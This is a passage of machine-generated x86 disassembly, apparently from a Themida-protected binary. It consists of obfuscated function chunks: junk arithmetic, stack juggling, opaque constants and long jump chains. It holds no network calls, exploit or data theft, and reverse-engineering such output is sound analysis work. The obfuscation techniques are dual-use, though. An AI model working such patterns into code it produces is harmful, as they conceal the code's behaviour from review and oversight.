		mov	edx, 6B880C3Dh
		inc	edx
		xor	edx, 46CE916h
		jmp	loc_59F419
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF8


loc_595AE2:				; CODE XREF: sub_5A4CF8-6EFEj
		add	[esp+8+var_8], 4
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	6FA9h
		mov	[esp+0Ch+var_C], eax
		mov	eax, 46FF124Ah
		push	edx
		mov	edx, 6BDE3E71h
		jmp	loc_593863
; END OF FUNCTION CHUNK	FOR sub_5A4CF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595B08:				; CODE XREF: sub_59390B+65CCj
		mov	word ptr [esp-0Ch+arg_4], ax
		sub	esp, 4
		jmp	loc_5A4A1B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_595B14:				; CODE XREF: sub_5A085D-1CB2j
		xor	ch, bh
		pop	bx
		sub	al, 0E1h
		add	al, ch
		add	al, 0E1h
		push	[esp+4+var_6+2]
		pop	ecx
		push	63D6h
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5916A1
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_595B3E:				; CODE XREF: sub_5A3536-EB35j
		dec	ebp
		neg	ebp
		xor	ebp, 4EB61A15h
		add	ebp, 0DD71AE5Fh
		sub	edi, 44A46F5h
		jmp	loc_5A31C4
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5219


loc_595B58:				; CODE XREF: sub_5A5219-12DE1j
		push	edi
		jmp	sub_59B57F
; END OF FUNCTION CHUNK	FOR sub_5A5219
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_595B5E:				; CODE XREF: sub_591FE1+1j
		push	esp
		pop	ebp
		push	edi
		mov	edi, 164746DDh
		xor	edi, 599F58D0h
		xchg	eax, edi
		neg	eax
		xchg	eax, edi
		xor	edi, 0B027E1F7h
		jmp	loc_59C3A8
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_595B7B:				; CODE XREF: sub_5A2FE9-9E9Ej
		pop	esp
		jmp	loc_593F32
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595B81:				; CODE XREF: sub_59390B+23Aj
		sub	ebx, ecx
		jmp	loc_59885D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_595B88:				; CODE XREF: sub_5936EC-24CCj
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebp
		push	1
		pop	ebp
		jmp	loc_5A3738
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CF38


loc_595BA3:				; CODE XREF: sub_59CF38+1j
		mov	ebx, 0DE5F12h
		jmp	loc_59974D
; END OF FUNCTION CHUNK	FOR sub_59CF38

; =============== S U B	R O U T	I N E =======================================



sub_595BAD	proc near		; CODE XREF: sub_59390B+BC28j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00590E1F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005944D4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00594EF0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595488 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005955C7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005956B6 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00595841 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596BC8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00598ABF SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00598CEE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A57C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059CBA2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CE7C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D5DF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D98F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059E61D SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005A0424 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A0C93 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1215 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A1918 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1942 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2847 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2B23 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A2B6F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A2D54 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3130 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A38A5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3F63 SIZE 0000000B BYTES

		push	ebx
		push	3A1Bh
		mov	[esp+4+var_4], esp
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, 4
		jmp	loc_5A3130
sub_595BAD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_595BC6:				; CODE XREF: Themida_:005A0DB5j
		dec	word ptr [esp]
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_595BD0:				; CODE XREF: sub_59CFD4-33ECj
		mov	ebx, ecx
		mov	ebp, ebx
		mov	ebx, [esp+0Ch+var_C]
		push	4F18h
		mov	[esp+10h+var_10], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59D512
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595BEC:				; CODE XREF: sub_59390B+7646j
		add	esi, 4E8B58E5h
		jmp	loc_59C773
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595BF7:				; CODE XREF: Themida_:005A1FD4j
		push	18C4h
		mov	[esp], ecx
		mov	ecx, 20431E70h
		sub	ecx, 5EB35BFCh
		push	eax
		mov	eax, 1D6220FAh
		jmp	loc_5A0BD1
; ---------------------------------------------------------------------------


loc_595C15:				; CODE XREF: Themida_:0059E2FFj
		pop	ecx
		jmp	loc_5A0936
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_595C1B:				; CODE XREF: sub_59E918+1299j
		sub	al, 0C5h
		sub	al, 14h
		sub	al, bl
		add	al, 14h
		push	edx
		push	eax
		mov	al, 5Eh
		xor	al, 35h
		add	al, 2Dh
		jmp	loc_59FD39
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_595C30:				; CODE XREF: Themida_:005949B3j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_595C35:				; CODE XREF: Themida_:00590D96j
		push	edi
		mov	edi, 3B9942B7h
		dec	edi
		dec	edi
		shr	edi, 2
		or	edi, 29070E3Bh
		push	edx
		mov	edx, 0EE97FA6Ah
		jmp	loc_59D12A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595C51:				; CODE XREF: sub_59390B+113A3j
		sub	edi, 7EB967D9h
		sub	edi, 62412480h
		jmp	loc_595270
; ---------------------------------------------------------------------------


loc_595C62:				; CODE XREF: sub_59390B+4B2j
		push	3ED2h
		mov	[esp-1Ah+arg_10+2], esi
		mov	eax, [esp-1Ah+arg_10+2]
		push	1BD3h
		mov	[esp-16h+arg_C+2], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_5A3B25
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595C82:				; CODE XREF: Themida_:00593374j
		and	ebp, esi
		jmp	loc_59E440
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595C89:				; CODE XREF: sub_59390B+35Aj
		xchg	eax, [esp-14h+arg_C]
		pop	esp
		push	edx
		mov	edx, 4CF23EF2h
		and	edx, 3F3517EAh
		sub	edx, 0C3016DEh
		add	ebp, 56E00E3Ah
		add	ebp, edx
		push	ecx
		mov	ecx, 7B8B6AF1h
		xor	ecx, 490C6311h
		jmp	loc_59E1F5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_595CB8:				; CODE XREF: sub_59A4D6+9j
		mov	edi, 4
		sub	eax, 4A6B3D74h
		add	eax, edi
		jmp	loc_5A5BE7
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595CC9:				; CODE XREF: sub_59390B-E8Bj
		add	ebx, esi
		mov	esi, [esp-14h+arg_C]
		add	esp, 4
		push	[esp-18h+arg_10]
		mov	edx, [esp-14h+arg_C]
		add	esp, 4
		jmp	sub_5A4F4F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_595CE2:				; CODE XREF: sub_591FE1+B87Fj
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_599137
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------


loc_595CEC:				; CODE XREF: Themida_:00590C78j
		mov	ebx, 64D75994h
		push	edx
		mov	edx, 4D966F43h
		jmp	loc_5987E6
; ---------------------------------------------------------------------------


loc_595CFC:				; CODE XREF: Themida_:0059B54Aj
		add	esp, 4
		push	esi
		mov	esi, ecx
		mov	ebx, esi
		pop	esi
		pop	ecx
		add	edi, ebx
		pop	ebx
		push	ebp
		push	4
		pop	ebp
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_599E96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595D23:				; CODE XREF: sub_59390B+7DA1j
		mov	ax, word ptr [esp-18h+arg_10]
		add	esp, 2
		movzx	eax, al
		mov	dx, word ptr [esp-1Ch+arg_14]
		push	ebp
		jmp	loc_597CAE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5971C0


loc_595D3A:				; CODE XREF: sub_5971C0-1EE0j
		mov	eax, 872234C2h
		sub	eax, ebx
		jmp	loc_599B71
; END OF FUNCTION CHUNK	FOR sub_5971C0
; ---------------------------------------------------------------------------


loc_595D46:				; CODE XREF: Themida_:0059E451j
		pop	edi
		add	esi, 6BA16AD1h
		add	esi, ecx
		sub	esi, 6BA16AD1h
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_595D6C:				; CODE XREF: Themida_:00591DD6j
		and	edi, 6FAF5B12h
		sub	edi, 58B5E3Ah
		jmp	loc_5A3561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_595D7D:				; CODE XREF: sub_5964B7+D807j
		push	4
		pop	esi
		push	ebp
		mov	ebp, 648D18EDh
		add	[esp+10h+var_8], ebp
		pop	ebp
		add	[esp+0Ch+var_8], esi
		push	eax
		jmp	loc_59E993
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595D98:				; CODE XREF: sub_59390B+706j
		and	eax, 0F3A4584h
		push	edi
		jmp	loc_5952E5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595DA3:				; CODE XREF: Themida_:0059B182j
		add	esp, 4
		jmp	loc_595517
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_595DAE:				; CODE XREF: sub_5A0060+5847j
		add	esp, 4
		xor	edx, [esp-8+arg_4]
		jmp	loc_5A4994
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_595DB9:				; CODE XREF: sub_5A17BF-C3F8j
		push	3C3Ah
		mov	[esp+0Ch+var_C], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	esi
		push	6966A5Ch
		push	[esp+10h+var_10]
		jmp	loc_5938DB
; END OF FUNCTION CHUNK	FOR sub_5A17BF

; =============== S U B	R O U T	I N E =======================================



sub_595DDF	proc near		; DATA XREF: Themida_:005909ACo

; FUNCTION CHUNK AT 00592E5E SIZE 00000005 BYTES

		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+0], cl
		pushf
		jmp	loc_592E5E
sub_595DDF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595DEE:				; CODE XREF: sub_59390B+9D7j
		push	esi
		push	esp
		jmp	loc_596D3D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	esi
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edi
		push	4
		pop	edi
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_591BBA
; ---------------------------------------------------------------------------


loc_595E28:				; CODE XREF: Themida_:0059B493j
		push	dx
		mov	dh, 0B4h
		add	al, dh
		jmp	loc_5A52D7
; ---------------------------------------------------------------------------


loc_595E33:				; CODE XREF: Themida_:00591E5Bj
		add	edi, 3AA5AC76h
		sub	edi, 0F8909FCh
		mov	edx, edi
		pop	edi
		jmp	loc_59F596
; ---------------------------------------------------------------------------


loc_595E47:				; CODE XREF: Themida_:005A1D5Dj
		mov	esp, [esp]
		jmp	loc_594369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_595E4F:				; CODE XREF: sub_59CAFB-948Ej
		pop	ebp
		pop	ebx
		mov	ebx, ecx
		mov	ecx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_597DF6
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_595E6D:				; CODE XREF: Themida_:005944BFj
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	eax
		push	40520AD0h
		pop	eax
		jmp	loc_59E164
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_595E89:				; CODE XREF: sub_5A4CDD-BAB8j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_591F3B
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_595E9F:				; CODE XREF: Themida_:005987B7j
		pop	esp
		push	edx
		jmp	loc_59F66B
; ---------------------------------------------------------------------------


loc_595EA6:				; CODE XREF: Themida_:0059B7B5j
		push	eax
		mov	eax, 4F371C49h
		jmp	loc_5977A7
; ---------------------------------------------------------------------------


loc_595EB1:				; CODE XREF: Themida_:005990F9j
		shr	edi, 4
		sub	edi, 5ED41006h
		add	edi, 5DCE2929h
		jmp	loc_5A1793
; ---------------------------------------------------------------------------


loc_595EC5:				; CODE XREF: Themida_:0059B416j
		not	ebx
		jmp	loc_59E140
; ---------------------------------------------------------------------------


loc_595ECC:				; CODE XREF: Themida_:005A0FFAj
		push	6792h
		mov	[esp], edx
		jmp	loc_59BE76

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_595ED9	proc near		; CODE XREF: sub_59897B+3EA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00592D83 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F734 SIZE 00000067 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_59F734
sub_595ED9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_595EE1:				; CODE XREF: sub_5A4CDD-6F74j
		pop	edx
		sub	eax, ebp
		pop	ebp
		xor	eax, 90F371Eh
		add	ecx, eax
		pop	eax
		jmp	loc_593CCE
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595EF2:				; CODE XREF: sub_59390B+D5B5j
		mov	esi, 4A49396Ah
		push	ebx
		push	edx
		jmp	loc_5A4768
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595EFE:				; CODE XREF: Themida_:005A44DCj
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_5A363C
; ---------------------------------------------------------------------------


loc_595F0C:				; CODE XREF: Themida_:005A261Bj
		sub	ecx, eax
		add	ecx, 1080305h
		push	edi
		mov	edi, 1A916428h
		sub	edi, 9FDDEDB6h
		sub	ecx, edi
		jmp	loc_598893
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_595F27:				; CODE XREF: sub_59A75E+A5B2j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], esi
		mov	esi, 5CA47974h
		neg	esi
		jmp	loc_590E04
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_595F3E:				; CODE XREF: sub_59338E+DC41j
		sub	edx, 244363B3h
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		jmp	loc_599A8B
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------


loc_595F5A:				; CODE XREF: Themida_:00598DBEj
		mov	esi, 0ABD2C6D7h
		sub	esi, 7F0406E7h
		sub	esi, edi
		push	edi
		jmp	loc_5A3CAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595F6D:				; CODE XREF: sub_59390B+F77Fj
		mov	ebp, 42524C65h
		and	ebx, ebp
		pop	ebp
		jmp	loc_5970C2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_595F7A:				; CODE XREF: sub_59CFD4+140Ej
		pop	esi
		push	dword ptr [esp+0]
		pop	edi
		push	7
		mov	[esp+4+var_4], eax
		jmp	loc_59E3A8
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_595F8C:				; CODE XREF: Themida_:0059C739j
		pop	edx
		shr	bl, 6
		inc	bl
		push	ecx
		mov	ch, 28h
		jmp	loc_59A69D
; ---------------------------------------------------------------------------


loc_595F9A:				; CODE XREF: Themida_:0059F8BDj
		add	ch, dl
		add	ch, 0D3h
		sub	ch, 1Ch
		mov	edx, [esp]
		jmp	loc_590AE5
; ---------------------------------------------------------------------------


loc_595FAA:				; CODE XREF: Themida_:0059A603j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5989C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595FB3:				; CODE XREF: sub_59390B+2D4j
		xchg	eax, [esp-18h+arg_10]
		pop	esp
		add	esi, 191E6130h
		sub	esi, edx
		sub	esi, 191E6130h
		push	edx
		mov	edx, 58C579C5h
		sub	esi, edx
		pop	edx
		pop	edx
		xchg	esi, [esp-20h+arg_18]
		jmp	loc_59E775
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F505


loc_595FD7:				; CODE XREF: sub_59F505-A567j
		or	esi, ebp
		pop	ebp
		shr	esi, 8
		shl	esi, 1
		jmp	sub_5932F7
; END OF FUNCTION CHUNK	FOR sub_59F505
; ---------------------------------------------------------------------------


loc_595FE4:				; CODE XREF: Themida_:005A31BFj
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59BC36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5AB


loc_596009:				; CODE XREF: sub_59F5AB+18j
		sub	esi, 0E5359FE2h
		or	eax, esi
		pop	esi
		jmp	loc_593F57
; END OF FUNCTION CHUNK	FOR sub_59F5AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_596017:				; CODE XREF: sub_599AE1+8EBCj
		add	eax, edx
		sub	eax, 137C5470h
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A3EEE
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_59602C:				; CODE XREF: Themida_:005A4BA5j
		pop	edi
		jmp	loc_592C3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_596032:				; CODE XREF: sub_59E918+3CF6j
		mov	bh, 0F9h
		add	ch, bh
		pop	bx
		jmp	sub_59F5C8
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_59603D:				; CODE XREF: Themida_:0059B0B4j
		add	ebx, ecx
		push	eax
		mov	eax, 696054Eh
		add	ebx, eax
		pop	eax
		pop	ecx
		jmp	loc_594DE8
; ---------------------------------------------------------------------------


loc_59604E:				; CODE XREF: Themida_:005A3005j
		xchg	eax, esi
		pop	eax
		jmp	loc_5973F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_596055:				; CODE XREF: sub_5A2FE9+2192j
		mov	ebx, 58613AF5h
		jmp	loc_59775D
; END OF FUNCTION CHUNK	FOR sub_5A2FE9

; =============== S U B	R O U T	I N E =======================================



sub_59605F	proc near		; CODE XREF: sub_59390B+4563j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00592D33 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00599CAA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059C80F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FF60 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3286 SIZE 0000000C BYTES

		push	ebp
		pop	eax
		pop	ebp
		jmp	loc_5A3286
sub_59605F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596067:				; CODE XREF: sub_59390B+2868j
		add	esp, 4
		jmp	loc_591439
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_596072:				; CODE XREF: sub_59A958-82F6j
		xor	ebx, 73F300EDh
		inc	ebx
		push	ecx
		mov	ecx, 6FB301DEh
		sub	ebx, ecx
		pop	ecx
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0]
		jmp	loc_59CD04
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------


loc_59608D:				; CODE XREF: Themida_:005988B2j
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 45F13912h
		shl	ebp, 2
		neg	ebp
		sub	ebp, 0E83B1BB4h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59E54E
; ---------------------------------------------------------------------------


loc_5960B0:				; CODE XREF: Themida_:0059B301j
		sub	esi, 161B44AFh
		add	esi, ebx
		jmp	loc_5A0F9D
; ---------------------------------------------------------------------------


loc_5960BD:				; CODE XREF: Themida_:0059FC9Dj
		mov	edx, 54BC76A7h
		or	edx, 48A91603h
		dec	edx
		inc	edx
		inc	edx
		not	edx
		jmp	loc_5A0A36
; ---------------------------------------------------------------------------


loc_5960D2:				; CODE XREF: Themida_:0059AEEAj
		push	edi
		mov	edi, 35F26215h
		jmp	loc_59BDC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598BAA


loc_5960DD:				; CODE XREF: sub_598BAA+7437j
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		cmp	ecx, eax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_598BAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5960EB:				; CODE XREF: sub_59390B+647j
		push	[esp+8+var_4]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_5A0044
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596100:				; CODE XREF: Themida_:005A13DAj
		mov	ebx, 56EF669Bh
		xor	ebx, edx
		pop	edx
		xor	ecx, ebx
		pop	ebx
		add	ecx, 414655E8h
		push	eax
		jmp	loc_5A0FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596117:				; CODE XREF: sub_59390B+4178j
		and	edx, edi
		pop	edi
		neg	edx
		jmp	loc_59B113
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_596121:				; CODE XREF: sub_5995FC+9419j
		xor	dh, 69h
		push	ecx
		mov	cl, 6Bh
		jmp	loc_5912C8
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59612C:				; CODE XREF: sub_59FD45+5AECj
		mov	[esp+8+var_8], ebp
		mov	ebp, 160E494Dh
		push	esi
		mov	esi, 2E8D4CA4h
		xor	ebp, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A00A8
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59614A:				; CODE XREF: sub_59390B+763j
		mov	ecx, 7A8157Fh
		sub	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_59F95B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59615F:				; CODE XREF: Themida_:005925D0j
		push	ecx
		jmp	loc_59C55F
; ---------------------------------------------------------------------------


loc_596165:				; CODE XREF: Themida_:005A5955j
		mov	ecx, [esp]
		push	ecx
		jmp	loc_59BAE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59616E:				; CODE XREF: sub_59390B+1A6Bj
		xor	edx, ecx
		mov	ecx, [esp-22h+arg_18+2]
		jmp	loc_596067
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596178:				; CODE XREF: Themida_:0059BBA1j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4C0C2F10h
		shr	edx, 7
		add	edx, 1F6B1818h
		inc	edx
		jmp	loc_5A42E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596198:				; CODE XREF: sub_59390B+A4A5j
		push	489Ah
		jmp	loc_5A35D2
; ---------------------------------------------------------------------------


loc_5961A2:				; CODE XREF: sub_59390B+1854j
		xchg	ebx, [esp-8+arg_0]
		pop	esp
		jmp	loc_597700
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5961AB:				; CODE XREF: Themida_:0059AA98j
		mov	ebx, 4BAC37BAh
		not	ebx
		dec	ebx
		or	ebx, 7EB56FF1h
		jmp	loc_59808D
; ---------------------------------------------------------------------------


loc_5961BE:				; CODE XREF: Themida_:00594B75j
		push	ecx
		mov	ecx, 641A0846h
		and	ecx, 56655816h
		sub	ecx, 5719537Bh
		jmp	loc_59E419
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5961D5:				; CODE XREF: sub_59390B-2926j
		pop	[esp+8+var_8]
		pop	esp
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5961EA:				; CODE XREF: sub_59390B+105DEj
		pop	ebp
		jmp	loc_592857
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5961F0:				; CODE XREF: Themida_:00599F33j
		mov	[edi+24h], esi
